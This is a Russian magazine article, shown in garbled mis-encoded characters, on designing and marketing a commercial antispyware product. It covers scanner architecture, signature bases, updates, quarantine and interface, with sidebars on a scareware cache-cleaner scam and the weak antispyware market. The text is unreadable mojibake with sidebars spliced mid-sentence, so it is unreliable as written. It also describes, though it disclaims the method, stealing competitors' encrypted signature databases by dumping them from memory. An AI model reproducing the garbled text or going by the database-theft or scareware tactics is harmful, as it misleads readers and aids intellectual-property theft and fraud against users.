øïèîíÿò è ïîñòîÿííî ïðîìûâàþò ìîçãè ðåêëàìîé.
È, ñëåäóÿ îñíîâíîìó çàêîíó ýêîíîìèêè «ñïðîñ
ðîæäàåò ïðåäëîæåíèå», ïîÿâèëèñü ñðåäñòâà, ïðî-
òèâîäåéñòâóþùèå íàçîéëèâûì ïðîãðàììêàì. Èõ
ñêðîìíî íàçûâàþò antispyware. 

Â ýòîé ñòàòüå ÿ ðàññêàæó, êàê ñîçäàòü ñâîé
ñîáñòâåííûé aíòèspyware, äà åùå òàêèì îáðàçîì,
÷òîáû îí ñòàë êîììåð÷åñêè óñïåøíûì ïðîåêòîì.
Çäåñü, êîíå÷íî, íå áóäåò èñõîäíûõ êîäîâ, è ÷åëî-
âåê, íè ðàçó íå âèäåâøèé C++ èëè õîòÿ áû Delphi,
íå ñìîæåò ïîñëå ïðî÷òåíèÿ ýòîãî ìàòåðèàëà ñåñòü
è íàïèñàòü ñâîþ ïðîãðàììó äëÿ óíè÷òîæåíèÿ
spyware. Íî çàòî îñèëèâøèå ñòàòüþ, ïîéìóò, ÷òî
âñå íå òàê ñëîæíî êàê êàæåòñÿ, è áóäóò ÷åòêî ïðåä-

ñòàâëÿòü ñåáå, ÷òî íàäî ñäåëàòü, ÷òîáû èõ ïðîäóêò
ïðîäàâàëñÿ.

ñåðäöå ààíòèspyware. Äàâàé ïîäóìàåì, áåç
÷åãî íàø aíòèspyware íå ñìîæåò îáîéòèñü. Íó, êî-
íå÷íî æå, áåç ñêàíåðà! Åãî íàäî ðåàëèçîâàòü â
ïåðâóþ î÷åðåäü. Ïðè÷åì ñêàíåð äîëæåí áûòü óíè-
âåðñàëüíûì, òî åñòü åìó äîëæíî áûòü àáñîëþòíî
âñå ðàâíî, ÷òî è ãäå èñêàòü. Åñòåñòâåííî, áåç ÎÎÏ
(îáúåêòíî-îðèåíòèðîâàííîãî ïðîãðàììèðîâàíèÿ)
çäåñü áóäåò î÷åíü òÿæåëî îáîéòèñü. Ëè÷íî ÿ ðåêî-
ìåíäóþ ðàçðàáîòàòü ñíà÷àëà àáñòðàêòíûé ðîäè-
òåëüñêèé êëàññ ñêàíåðà, êîòîðûé áóäåò ðåàëèçî-
âûâàòü îáùèå ìåòîäû, òàêèå êàê ñòàðò, îñòàíîâêà
èëè ïðèîñòàíîâêà ñêàíèðîâàíèÿ, à çàòåì ñîçäàòü
ïîòîìêîâ  ýòîãî àáñòðàêòíîãî ñêàíåðà, êîòîðûå áó-
äóò ðàáîòàòü ñ ôàéëîâîé ñèñòåìîé, ðååñòðîì è ò.ï.

Òåïåðü äàâàé íåìíîãî îòâëå÷åìñÿ îò ñêàíåðà
è îïðåäåëèìñÿ ñ òåì, ÷òî èìåííî íàì íàäî èñêàòü, è
ãäå ýòî ïðÿ÷åòñÿ. Â ïåðâóþ î÷åðåäü ýòî èñïîëíÿå-
ìûå ôàéëû: exe, dll. spyware, êàê ïðàâèëî, àêòèâíî

ðàáîòàþò ñ ðååñòðîì. Ñàìîå ïðîñòîå, ÷òî ìîæåò
ñäåëàòü òàêàÿ øïèîíñêàÿ ïðîãðàììà — ýòî äîáà-
âèòü ñåáÿ â êëþ÷èê ðååñòðà Run. Íî ÷àùå èñïîëüçó-
þòñÿ áîëåå èçîùðåííûå ñïîñîáû çàïóñêà, íàïðè-
ìåð ïîäãðóçêà dll ê ïðîöåññó explorer.exe. Ìíîãèå
spyware è adware — âïîëíå ñàìîñòîÿòåëüíûå ïðî-
ãðàììû è ìîãóò áûòü äàæå COM-êîìïîíåíòàìè. À,
êàê èçâåñòíî, COM-îáúåêòû ðåãèñòðèðóþòñÿ â ðå-
åñòðå è îäíîçíà÷íî èäåíòèôèöèðóþòñÿ ïðè ïîìî-
ùè GUID. À GUID (Globally Unique Identifier) — ýòî
øåñòíàäöàòèáàéòíûé äâîè÷íûé ìàññèâ, îáåñïå÷è-
âàþùèé èäåíòèôèêàòîðû, êîòîðûå íå ïîâòîðÿþòñÿ
íèãäå è íèêîãäà. Ýòè GUID’û õðàíÿòñÿ â êëþ÷å ðåå-
ñòðà HKCR\AppID. Áëàãîäàðÿ èõ óíèêàëüíîñòè ìîæ-
íî áåç òðóäà íàéòè è îáåçâðåäèòü øïèîíà.

Îáû÷íî spyware ñêðûâàþòñÿ âî âïîëíå îïðå-
äåëåííûõ äèðåêòîðèÿõ è ÷àñòî — â ñèñòåìíûõ (ýòî
íå âèðóñ, êîòîðûé ìîæåò çàáðàòüñÿ â ëþáîé óãîëîê
æåñòêîãî äèñêà). Îíè ìîãóò ìåíÿòü ñòàðòîâóþ
ñòðàíèöó áðàóçåðà, à ìîãóò èñïîëüçîâàòü BHO

ÑÎÇÄÀÍÈÅ ÀÍÒÈÑÏÀÉÂÀÐÀ ÑÎÁÑÒÂÅÍÍÛÌÈ ÐÓÊÀÌÈ
ÍÈ ×ÒÎ ÍÅ ÑÒÎÈÒ ÍÀ ÌÅÑÒÅ, È ÒÅÏÅÐÜ, Â ÝÏÎÕÓ ÍÎÂÎÃÎ ÏÎÊÎËÅÍÈß ÂÐÅÄÎÍÎÑÍÛÕ
ÏÐÎÃÐÀÌÌ, ÈÌÅÍÓÅÌÛÕ ÇÀÃÀÄÎ×ÍÛÌ ÑËÎÂÎÌ SPYWARE, ÒÅÁÅ ÍÅÎÁÕÎÄÈÌÍÎ ÓÇÍÀÒÜ 
ÂÑÅ Î ÒÎÌ, ÊÀÊ ÑÀÌÎÑÒÎßÒÅËÜÍÎ ÏÐÎÒÈÂÎÑÒÎßÒÜ ÝÒÎÉ ÍÅÇÐÈÌÎÉ ÓÃÐÎÇÅ 

DEEONI$ 
deeonis@gmail.com, icq: 982-622

ââ ööååëëÿÿõõ
ññààììîîççààùùèèòòûû......



(Browser Helper Object (÷èòàé î íèõ â íîìåðå)). Âñå
ýòè ìîìåíòû íàäî ó÷èòûâàòü è çíàòü, êàê èìåííî
íàéòè è óñòðàíèòü òîò èëè èíîé òèï spyware.

Íó à òåïåðü âåðíåìñÿ ê íàøåìó ñêàíåðó,
òî÷íåå ñêàíåðàì. Ìû óæå ïðèáëèçèòåëüíî çíàåì,
÷òî è ãäå èñêàòü, è, ñëåäîâàòåëüíî, òåïåðü ìîæíî
ïèñàòü êîíêðåòíûé ñêàíåð ôàéëîâîé ñèñòåìû,
ðååñòðà è ò.ä. Êàê ÿ óæå ãîâîðèë, äëÿ êîìôîðòíîé
ðàáîòû ïîëüçîâàòåëÿ, íàø àíòèspyware äîëæåí
óìåòü îñòàíàâëèâàòü ïðîöåññ ñêàíèðîâàíèÿ. Îò-
ñþäà ñëåäóåò, ÷òî ýòîò ïðîöåññ äîëæåí èäòè â îò-
äåëüíîì ïîòîêå. Íóæíî ïðîäóìàòü, êàêóþ èíôîð-
ìàöèþ î íàéäåííîì îáúåêòå ïåðåäàâàòü â ïîëüçî-
âàòåëüñêèé èíòåðôåéñ è êàê ýòî äåëàòü. Òàê æå
ñëåäóåò ïðîäóìàòü ìåõàíèçì óíè÷òîæåíèÿ çàðà-
çû, íàïðèìåð, êîãäà spyware óæå çàãðóæåí â ïà-
ìÿòü, è åãî íåëüçÿ ïðîñòî òàê óäàëèòü. Òàê êàê ó
íàñ áóäåò íåñêîëüêî ñêàíåðîâ, ðàáîòàþùèõ ñ
ðàçíûìè îáúåêòàìè, òî íåïëîõî áûëî áû íàïè-
ñàòü ìåíåäæåðà ñêàíèðîâàíèÿ, êîòîðûé áóäåò
âñåìè èìè óïðàâëÿòü. 

Äà è âîîáùå, ÷åì ëó÷øå áóäåò ïðîäóìàííà
àðõèòåêòóðà ïðèëîæåíèÿ, òåì âïîñëåäñòâèè ëåã-
÷å áóäåò åãî ìîäèôèöèðîâàòü. Íå íàäî áîÿòüñÿ
ïèñàòü ìíîãî êîäà, íàäî áîÿòüñÿ ïåðåïèñûâàòü
ýòîò êîä. Ãèáêîå â ðàñøèðåíèè ôóíêöèîíàëüíî-
ñòè ïðèëîæåíèå âñåãäà èìååò áîëüøèé óñïåõ,

÷åì åãî «çàêîñòåíåëûå» àíàëîãè: ÿðêèé òîìó
ïðèìåð — âñåì èçâåñòíûé icq-êëèåíò Miranda ñî
ñâîèìè ïëàãèíàìè.

áàçà ññèãíàòóð. Íà ñàìîì äåëå, íàïèñàíèå
ñêàíåðà — íå òàêàÿ óæ è ñëîæíàÿ çàäà÷à. Ëþáîé
áîëåå èëè ìåíåå òîëêîâûé ïðîãðàììèñò çàïðîñòî
ñïðàâèòñÿ ñ òàêèì çàäàíèåì. Êîíå÷íî, òå, ó êîãî
íåò îïûòà â íàïèñàíèè ñåðüåçíîãî ïðîãðàììíîãî
îáåñïå÷åíèÿ, áóäóò íåñêîëüêî ðàç ïåðåïèñûâàòü
ñâîå òâîðåíèå, ò.ê. äåéñòâèòåëüíî êà÷åñòâåííûé
ïðîäóêò ìîæíî ñäåëàòü, ëèøü íàïèñàâ ïàðó íåêà-
÷åñòâåííûõ. Ãîðàçäî òðóäíåå, êàæåòñÿ, ñîçäàòü
áàçó spyware...

Äëÿ íà÷àëà õî÷ó âñåõ îáðàäîâàòü: áàçà äëÿ
àíòèspyware ñèëüíî îòëè÷àåòñÿ îò áàç äëÿ àíòèâè-
ðóñîâ. Â ïîñëåäíèõ äëÿ äåòåêòèðîâàíèÿ âðåäîíîñ-
íûõ ïðîãðàìì èñïîëüçóþòñÿ ñèíòàêñè÷åñêèå ñèã-
íàòóðû. Òî åñòü ñèãíàòóðû, âçÿòûå íåïîñðåäñòâåí-
íî èç òåëà âèðóñà, íàïðèìåð, êàêàÿ-ëèáî ôðàçà
èëè ñîâîêóïíîñòü èìåí èñïîëüçóåìûõ ñèñòåìíûõ
ôóíêöèé. Òàêæå ñóùåñòâóþò ñèãíàòóðû, îñíîâàí-
íûå íà ïîâåäåíèè èëè àíîìàëèÿõ — íàïðèìåð,
ñëèøêîì àãðåññèâíîå îáðàùåíèå ê êàêîìó-ëèáî
ñåòåâîìó ïîðòó íà êîìïüþòåðå. Ïðè äåòåêòèðîâà-
íèè spyware èñïîëüçóþòñÿ ñîâñåì äðóãèå îïîçíà-
âàòåëüíûå ïðèçíàêè, êîòîðûå çà÷àñòóþ ãîðàçäî
ëåã÷å âûÿâèòü. Ýòî, êàê ÿ óæå ãîâîðèë, ïîëíûå
èìåíà èñïîëíÿåìûõ ôàéëîâ èëè õàðàêòåðíûå çà-
ïèñè â ðååñòðå ñèñòåìû. Òàêèì îáðàçîì, äëÿ äî-
áàâëåíèÿ íîâîé øïèîíñêîé ïðîãðàììû â áàçó â
áîëüøèíñòâå ñëó÷àåâ äîñòàòî÷íî îïðåäåëèòü äè-
ðåêòîðèþ, êóäà óñòàíàâëèâàåòñÿ spyware, è èìÿ
ôàéëà. Åñëè øïèîí äîñòàòî÷íî õèòðûé è íå èìååò
«ïîñòîÿííîãî ìåñòà æèòåëüñòâà», òî íóæíî ïîèñ-
êàòü åãî ñëåäû â ðååñòðå.

Òåïåðü ïîíÿòíî, ÷òî äëÿ ïîääåðæêè ýòîé áà-
çû ïîíàäîáÿòñÿ íåñêîëüêî ÷åëîâåê, êîòîðûå áóäóò
ïîñòîÿííî ñëåäèòü çà ïðîèñõîäÿùèì â ìèðå
spyware è äîáàâëÿòü âñå íîâèíêè êîìïüþòåðíîé
øïèîíñêîé èíäóñòðèè â áàçó. Íî ñðàçó æå âîçíè-
êàåò âîïðîñ: «À êàê æå íà÷àòü?». Äåéñòâèòåëüíî,
âåäü óæå ñåé÷àñ âî âñåìèðíîé ïàóòèíå áðîäÿò òû-
ñÿ÷è spyware, è íóæíî, ÷òîáû íîâûé ïðîäóêò çíàë
èõ âñå. Íî äîáàâëåíèå êàæäîãî øïèîíñêîãî ìîäó-
ëÿ — î÷åíü òðóäîåìêàÿ è íóäíàÿ ðàáîòà... È òóò ÿ
íà÷èíàþ îòêðûâàòü ñåêðåòû.

Èòàê, âíèìàíèå, ñåêðåò ¹1: áàçó ìîæíî «ïî-
çàèìñòâîâàòü» ó áóäóùèõ êîíêóðåíòîâ. Åñòåñòâåí-

íî, ýòî íå ñîâñåì ÷åñòíûé ïóòü, è ìû åãî íèêîèì
îáðàçîì íå ïðîïàãàíäèðóåì, íî ïóòü ýòî ñóùå-
ñòâóåò, è êîå-êòî èì ïîëüçîâàëñÿ. Êàê æå îíè ýòî
äåëàëè? Êîíå÷íî, ýòè çëîäåè ïðåîäîëåâàëè îïðå-
äåëåííûå òðóäíîñòè, âåäü ïðàêòè÷åñêè âñå áàçû
ñèãíàòóð èìåþò ñâîé ôîðìàò è âäîáàâîê åùå íà-
äåæíî çàøèôðîâàíû. Îíè ïðîáîâàëè ïîëîìàòü
øèôð, íî, â êîíöå êîíöîâ, âûäåðãèâàëè áàçó èç
ïàìÿòè âî âðåìÿ ðàáîòû ïðîãðàììû, êîãäà îíà
áåççàùèòíà êàê ìëàäåíåö. Íî ñäåëàòü ýòî áûëî íå
òàê ëåãêî, ïîýòîìó îíè èñêàëè ëþäåé, êîòîðûå
ïðîôåññèîíàëüíî çàíèìàþòñÿ ðåâåðñèíãîì. 

Ïî áàçàì âðîäå áû âñå. Àõ äà, ñîâñåì çàáûë
ñêàçàòü, íå çàáóäü åå ïîëó÷øå çàøèôðîâàòü ;).

ôóíêöèîíàë èè óóêðàøàòåëüñòâà. Ê ñîæàëå-
íèþ, âñÿ ðàáîòà, ÷òî áûëà îïèñàíà âûøå, äàæå íå
äàåò íàäåæäû íà òî, ÷òî íàø àíòèspyware áóäåò
ïðîäàâàòüñÿ. Çäåñü íàäî åùå ìíîãî ïîòðóäèòüñÿ,
ïðåæäå ÷åì îáû÷íîìó ïîëüçîâàòåëþ çàõî÷åòñÿ
êëèêíóòü ìûøêîé íà èíñòàëëÿòîðå ïðîãðàììû.

Ïåðâûì äåëîì íàäî ðàçðàáîòàòü ìíîæåñòâî
ìåëêèõ è íà ïåðâûé âçãëÿä íåçàìåòíûõ ôóíêöèé,
áåç êîòîðûõ ñåðüåçíîìó àíòèøïèîíñêîìó ÏÎ íè-
êóäà. Ñàìîé âàæíîé èç ýòèõ ìåëî÷åé áóäåò ìåõà-
íèçì îáíîâëåíèÿ ïðîãðàììû. Áåç àïäåéòà íå
îáîéòèñü íèêàê, à òàê êàê ïîòåíöèàëüíîìó ïîêóïà-
òåëþ ñêîðåå âñåãî íå çàõî÷åòñÿ êàæäûé ðàç ñàì-
îìó ñêà÷èâàòü è êëàñòü â íóæíóþ ïàïêó ôàéëû, òî
ïðèäåòñÿ ïèñàòü ãðóïïó ìîäóëåé, îòâåòñòâåííûõ
çà ýòî. Îáÿçàòåëüíûì áóäåò ñîçäàíèå ïëàíèðîâ-
ùèêà, êîòîðûé áóäåò âûïîëíÿòü îáíîâëåíèå è ñêà-
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$150k çà î÷èñòêó êýøà
ÈÃÐÀß ÍÀ ×ÅËÎÂÅ×ÅÑÊÈÕ ÑËÀÁÎÑÒßÕ
ÌÎÆÍÎ ÇÀÐÀÁÎÒÀÒÜ ÁÎËÜØÈÅ ÄÅÍÜÃÈ.
ÏÐÎÃÐÀÌÌÀ, ÊÎÒÎÐÀß ÏÐÎÑÒÎ ×ÈÑÒÈ-
ËÀ ÊÝØ IE, ÏÐÈÍÎÑÈËÀ ÏÎ 150000$ ÄÎ-
ÕÎÄÀ Â ÌÅÑßÖ. ÀÂÒÎÐÛ ÏÐÈÄÓÌÀËÈ ÃÅ-
ÍÈÀËÜÍÛÉ ÕÎÄ, ÊÎÒÎÐÛÉ ÇÀÑËÓÆÈÂÀ-
ÅÒ ÂÍÈÌÀÍÈß.

ÍÀ×ÍÓ Ñ ÒÎÃÎ, ×ÒÎ ÏÎ ÐÀÑÊÐÓ×ÈÂÀ-
ËÎÑÜ ÍÀ ÏÎÐÍÓØÍÎÌ ÒÐÀÔÈÊÅ, È ÑÊÀ-
×ÈÂÀË ÅÃÎ ÑÎÎÒÂÅÒÑÒÂÓÞÙÈÉ ÊÎÍ-
ÒÈÍÃÅÍÒ. ÏÎÑËÅ ÈÍÑÒÀËËßÖÈÈ Â ÓÃÎË-
ÊÅ ÌÎÍÈÒÎÐÀ ÏÎßÂËßËÎÑÜ ÌÀËÅÍÜ-
ÊÎÅ ÎÊÎØÅ×ÊÎ ÑÎ ÑËÀÉÄ-ØÎÓ. ×ÒÎ
ÎÍÎ ÏÎÊÀÇÛÂÀËÎ, ÄÓÌÀÞ, ÂÑÅ ÓÆÅ
ÏÎÍßËÈ. ÄÀÍÍÎÅ ÑËÀÉÄ-ØÎÓ ÑÎÏÐÎ-
ÂÎÆÄÀËÎÑÜ ÍÀÄÏÈÑÜÞ, ÃËÀÑÈÂØÅÉ,
×ÒÎ ÝÒÎ ÌÎÃÓÒ ÓÂÈÄÅÒÜ ÐÎÄÈÒÅËÈ,
ÆÅÍÛ È ÄÅÒÈ ÏÎÑÅÒÈÒÅËÅÉ, ÍÎ ÅÑËÈ
ÎÍÈ ÇÀÏËÀÒßÒ ÂÑÅÃÎ 29,99$, ÒÎ ×ÓÄÎ-
ÑÎÔÒ ÏÎ×ÈÑÒÈÒ ÊÎÌÏÜÞÒÅÐ ÎÒ ÏÎ-
ØËßÒÈÍÛ. ÅÑÒÅÑÒÂÅÍÍÎ, ÄÎÁÐÎÏÎÐß-
ÄÎ×ÍÛÅ, ÍÎ Î×ÅÍÜ ÃËÓÏÛÅ ÃÐÀÆÄÀÍÅ
ÑØÀ, ÍÅ ÇÀÄÓÌÛÂÀßÑÜ, ÁÅÆÀËÈ ÇÀ
ÊÐÅÄÈÒÊÎÉ. ÏÐÈ×ÅÌ ÂÑÅ ÏÎ-×ÅÑÒÍÎ-
ÌÓ: ÑÎÔÒ ×ÈÑÒÈË ÊÝØ È ÁÎËÜØÅ ÍÅ
ÏÓÃÀË ÁÅÄÍÛÕ ÄÐÎ×ÅÐÎÂ.

Microsoft òîæå âûïóñòèëà ñâîé àíòèspyware
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íèðîâàíèå ïî ðàñïèñàíèþ. Íó è, êîíå÷íî, íåîáõî-
äèìà ãèáêàÿ ñèñòåìà íàñòðîåê äëÿ òîãî, ÷òîáû ýô-
ôåêòèâíî âñåì ýòèì óïðàâëÿòü.

Íî è ýòîãî íåäîñòàòî÷íî. Íà ìîé âçãëÿä, îáÿ-
çàòåëüíî íóæåí «êàðàíòèí». Ïðåäñòàâüòå ñèòóà-
öèþ, êîãäà óäàëåíèå êàêîãî ëèáî ôàéëà èëè çàïè-
ñè ðååñòðà íàðóøèò öåëîñòíîñòü ôóíêöèîíèðîâà-
íèÿ ñèñòåìû. Ýòî áóäåò õóæå, ÷åì ïðûãíóòü â áàñ-
ñåéí ñ àêóëàìè... Ýòîãî íå ïðîñòÿò! «Êàðàíòèí» ïî-
çâîëèò èçáàâëÿòüñÿ îò spyware ñ ìåíüøèì ðèñêîì,
äà è âîîáùå ïðèäàñò ñîëèäíîñòü ïðîãðàììå.

Òàê æå íåîáõîäèì «èãíîð ëèñò» è ñîçäàíèå
îò÷åòîâ î ïðîäåëàííîé ðàáîòå. ×åì áîëüøå èí-
ôîðìàöèè ïîëó÷èò ïîëüçîâàòåëü, òåì ñåðüåçíåé
åìó ïîêàæåòñÿ ïðîäóêò, è òåì áîëüøèå äåíüãè îí
áóäåò ãîòîâ çà íåãî îòäàòü. Êîíå÷íî, íå ñòîèò ïå-
ðåáàðùèâàòü ñ ýòèì: âñå äîëæíî áûòü â ïðåäåëàõ
ðàçóìíîãî, è ñàìîå ãëàâíîå — íå äîëæíî ðàçäðà-
æàòü. Ìîæíî, äîïóñòèì, âûâîäèòü êó÷ó ïîëåçíûõ
íà òâîé âçãëÿä ñâåäåíèé, íî åñëè îíè çàãðîìîæäà-
þò ýêðàí, òî ýòî íèêîìó íå íóæíî. Áîëåå ïðàâèëü-
íûì ðåøåíèåì áóäåò êîìïàêòíî è àêêóðàòíî âû-
âåñòè èõ â äîïîëíèòåëüíîì îêíå.

Â êàæäîé ïðîãðàììå äîëæíà áûòü ñâîÿ èçþ-
ìèíêà, ôèøêà, êîòîðàÿ îòëè÷àåò åå îò ìíîãèõ äðó-
ãèõ. Ýòî ìîæåò áûòü êàêàÿ-òî îñîáåííàÿ ôóíêöèÿ,
êîòîðàÿ ïðåòåíäóåò íà óíèêàëüíîñòü. Íàïðèìåð,
ìîæíî íàïèñàòü ìîíèòîð, êîòîðûé ñëåäèò çà îïðå-
äåëåííûìè êëþ÷àìè ñèñòåìíîãî ðååñòðà è ñîîá-
ùàåò îá ýòîì ïîëüçîâàòåëþ, à åùå ëó÷øå — ñïðà-
øèâàåò, ìîæíî ëè çàïèñàòü èëè óäàëèòü íåêîòî-
ðûé êëþ÷. ×åì áîëüøå â ïðîãðàììå áóäåò òàêèõ
ïîëåçíîñòåé, òåì ëó÷øå îíà áóäåò ïðîäàâàòüñÿ.

Ïîìèìî îñíîâíîãî ôóíêöèîíàëà, ìîæíî
ñäåëàòü åùå êó÷ó âñÿêèõ ìåëî÷åé, êîòîðûå íàïðÿ-
ìóþ íèêàê íå îòíîñÿòñÿ ê íàçíà÷åíèþ ÏÎ, íî áó-
äóò î÷åíü êñòàòè. Íàïðèìåð, ìîæíî ðåàëèçîâàòü
ïðåñëîâóòûå Tip of Day, ïðè÷åì íå ñ ïîäñêàçêàìè
ïî èíòåðôåéñó ïðîãðàììû (îí íå äîëæåí áûòü
ñëèøêîì ñëîæåí), à ñ ñîâåòàìè î òîì, êàê çàùè-
òèòüñÿ îò óíè÷òîæàåìîé çàðàçû. Âñÿ÷åñêèå balo-
on’û, âñïëûâàþùèå ïîäñêàçêè è ïðî÷àÿ ìèøóðà
òîæå ïðèâåòñòâóåòñÿ, íî â ïðåäåëàõ ðàçóìíîãî. Íå
ëèøíèì áóäåò ðåàëèçîâàòü íàïîìèíàíèÿ îá îáíî-
âëåíèÿõ ôàéëà ñèãíàòóð è ñàìîãî àíòèspyware,
ïðè÷åì ñäåëàòü ýòî, ïîëó÷àÿ äàííûå ñ ñàéòà ÏÎ
÷åðåç èíòåðíåò. Ïðèäóìàòü ìîæíî ìíîãî âñåãî èí-
òåðåñíîãî, ñàìîå ãëàâíîå, ÷òîáû ýòî áûëî íóæíî
ïîëüçîâàòåëþ.

Òåïåðü, êîãäà ðàçðàáîòàí âåñü ôóíêöèîíàë
àíòèspyware, ìîæíî çàíÿòüñÿ è äèçàéíîì. Ñêàæó
ñðàçó, ÷òî ëó÷øå îòäàòü ýòî äåëî â ðóêè ïðîôåñ-
ñèîíàëîâ. Êîíå÷íî, ìîæíî ñäåëàòü ïðîãðàììó ñî
ñêó÷íûì âèíäîâûì èíòåðôåéñîì, íî ýòî äîïóñòè-
ìî ëèøü â òîì ñëó÷àå, åñëè ÏÎ ïðåòåíäóåò íà
óíèêàëüíîñòü è ÿâëÿåòñÿ ôàêòè÷åñêè íåçàìåíè-
ìûì. À òàê êàê ðûíîê â ýòîé îáëàñòè ïåðåíàñû-
ùåí, òî áîðüáà çà êëèåíòà äîëæíà âåñòèñü âñåìè
äîñòóïíûìè ñïîñîáàìè. Òîëêîâûé äèçàéíåð íå
òîëüêî íàðèñóåò èêîíêè è ñîçäàñò ìàêåò ñàéòà,
íî è ïîëíîñòüþ ðàçðàáîòàåò êîíöåïöèþ âíåøíå-

ãî âèäà ÏÎ. Ïðè÷åì íà 90% áóäóùåå äèçàéíà çà-
âèñèò îò íàçâàíèÿ: êàê íàçîâåøü ïðîäóêò, òàê îí
è áóäåò âûãëÿäåòü.

Íî, êîíå÷íî, àìáèöèè äèçàéíåðîâ ÷àñòî
ïðåâîñõîäÿò íàøè âîçìîæíîñòè, è ñàìèì ðåàëè-
çîâàòü âñå äåòàëè èíòåðôåéñà çà ïðèåìëåìîå

âðåìÿ ïðàêòè÷åñêè íåâîçìîæíî. Åñòü äâà ïóòè:
çàðàíåå íàëîæèòü îãðàíè÷åíèå íà äèçàéíåðñêèé
ïîëåò ìûñëè èëè èñïîëüçîâàòü «ñêèíîâûå» äâèæ-
êè. Ñ ïîìîùüþ ïîñëåäíèõ ìîæíî ðåàëèçîâàòü
ëþáûå, äàæå ñàìûå íåîáû÷íûå èäåè îòíîñèòåëü-
íî âíåøíåãî âèäà ÏÎ. Ðàññêàçûâàòü îáî âñåõ

Â ïðîøëîì ãîäó ÿ ïðî-
âîäèë òùàòåëüíîå èçó-
÷åíèå áîëüøîãî êîëè-
÷åñòâà àíòèspyware,
ïîýòîìó ìîãó ðåçþìè-
ðîâàòü ñîñòîÿíèå ðûí-
êà. Àíàëèç ïîêàçûâàåò
íåêîòîðûå òåíäåíöèè: 

1 Èçâåñòíà ìàññà
ïðîäóêòîâ, êîòîðûå ëî-
âÿò «øïèîíîâ» â coo-
kies. Äåëàåòñÿ ýòî ïî
èìåíàì èëè ïî url âíó-
òðè cookie, è íèêàêèå äî-
âîäû çäðàâîãî ñìûñëà 
î òîì, ÷òî òåêñòîâûé
ôàéë íà äèñêå ñîâåð-
øåííî áåçâðåäåí (ñ ó÷å-
òîì âîçìîæíîñòè îò-
êëþ÷èòü ïðèåì êóêèçîâ
èëè ÷èñòèòü èõ) íà ðàç-
ðàáîò÷èêîâ àíòèspywa-
re íå äåéñòâóåò. Ïðè÷è-
íà ïðîñòà — ìàðêåòèíã.
Â ñëó÷àå îõîòû íà êóêè-
çû antispyware áóäåò ïî-
ñòîÿííî íàõîäèòü ñîòíè
«çëîâðåäîâ», ïóãàÿ
áåäíîãî ïîëüçîâàòåëÿ.

2 Ïîèñê øïèîíîâ â
ðååñòðå. Ïðèíöèï àíà-
ëîãè÷åí êóêèçàì —
óâèäåâ êëþ÷ òèïà
software\gator èëè clsid,
ïðèíàäëåæàùåãî
spyware-êëàññó, ïî÷òè
âñå àíòèøïèîíû ïîä-

íèìàþò øóì îá îáíàðó-
æåíèè óæàñíîé çàðàçû.
Õîòÿ íàëè÷èå êëþ÷èêà
â ðååñòðå ñàìî ïî ñåáå
íå îïàñíî — ýòî åùå
íå ïîêàçàòåëü íàëè÷èÿ
çàðàçû íà ïê. Áàçû ýò-
èõ êëþ÷åé òàêæå ãóëÿ-
þò èç îäíîãî ïðîäóêòà
â äðóãîé è çà÷àñòóþ ñî-
äåðæàò êó÷è îøèáîê.

3 Ïîèñê ôàéëîâ ïî
èìåíàì. Â ïîñëåäíåå
âðåìÿ ñòàíîâèòñÿ âñå
ïîïóëÿðíåå, ïðè÷åì ÷à-
ñòî áàçû èìåí ôàéëîâ
ðàçðàáîò÷èêè âîðóþò
äðóã ó äðóãà, äàæå íå
èçó÷àÿ èõ. Ðåçóëüòàò —
âûñîêèé óðîâåíü ëîæ-
íûõ ñðàáàòûâàíèé è
î÷åíü íèçêàÿ ýôôåêòèâ-
íîñòü ìåòîäà, ïîñêîëüêó
ðàçðàáîò÷èêè øïèîíîâ
äàëåêî íå äóðàêè, è ìî-
äèôèöèðîâàòü èìåíà
ôàéëîâ îò âåðñèè ê âåð-
ñèè äëÿ íèõ îñîáîãî òðó-
äà íå ñîñòàâëÿåò (ðàâíî
êàê èçìåíÿòü clsid ñâîèõ
êëàññîâ è èìåíà êëþ÷åé
â ðååñòðå).

4 ×àñòî èíòåðôåéñ
ïåðåâåøèâàåò ñîäåð-
æèìîå, êàê âñåãäà, èç-
çà ìàðêåòèíãà. Òî åñòü
ñîäåðæèìîå — ïðî-

ñòåéøàÿ ïðîãðàììà äëÿ
ñêàíèðîâàíèÿ ðååñòðà,
çàòî èíòåðôåéñ — îò-
ìåííûé: ïðîôåññèî-
íàëüíî ñäåëàííûé ñàéò,
ëîãîòèï è ò.ï. Ïðè÷èíà
âñå òà æå — ìàðêåòèíã
è åùå ðàç ìàðêåòèíã.

Îáùèé âåðäèêò òà-
êîâ — ýôôåêòèâíîñòü
áîëüøèíñòâà èçó÷åí-
íûõ ñîâðåìåííûõ àí-
òèspyware áëèçêà ê íó-
ëþ, ïîñêîëüêó ÷àùå
âñåãî ïðåñëåäóåòñÿ çà-
äà÷à ïîëó÷åíèÿ íåêîåé
ïðèáûëè, à íå ïîñòðî-
åíèå äîñòîéíîãî ïðî-
äóêòà. Êðîìå òîãî,
óñòîé÷èâî ðàçâèâàåòñÿ
èäåÿ hoax-ïðîãðàìì -
èìèòàòîðîâ íàëè÷èÿ
çàðàçû, êîòîðûå ìåíÿ-
þò îáîè, âûâîäÿò êà-
êèå-ëèáî ñîîáùåíèÿ íà
ýêðàí è ò.ä. Ïàðàëëåëü-
íî îíè ðåêëàìèðóþò ÷ó-
äî-àíòèøïèîí, êîòîðûé
óñòðàíèò âñå ïðîáëåìû
çà îïðåäåëåííûå äåíü-
ãè. Ïîäîáíûå hoax-ïðî-
ãðàììû äåòåêòèðóþòñÿ
áîëüøèíñòâîì àíòèâè-
ðóñîâ, à ðåêëàìèðóå-
ìûå òàêèì îáðàçîì àí-
òèøïèîíû ïîïàäàþò 
â ÷åðíûå ñïèñêè.
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À Í Ò È S P Y W A R E ?

ÎËÅÃ
ÇÀÉÖÅÂ

Ñïåöèàëèñò 
ïî èíôîðìàöèîííîé
áåçîïàñíîñòè, àâòîð
ïðîãðàììû AVZ
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ïðåëåñòÿõ «ñêèíû» ÿ íå áóäó — íàéäóòñÿ êàê èõ
ïðîòèâíèêè, òàê è ñòîðîííèêè, íî ñêàæó òîëüêî òî,
÷òî íå íàäî áîÿòüñÿ âûñòàâèòü ïðîãðàììó íå
ñåðüåçíîé, âåäü ìîæíî ñêàçàòü äèçàéíåðàì, ÷òî
ïðèìåðíî îò íèõ îæèäàåòñÿ.

Íî äàæå åñëè íå èñïîëüçîâàòü íåòðàäèöèîí-
íîå îôîðìëåíèå èíòåðôåéñà, à ïðîñòî íàëîæèòü
èêîíêè íà íåêîòîðûå êíîïêè, ñîâåòóþ ýòè èêîíêè
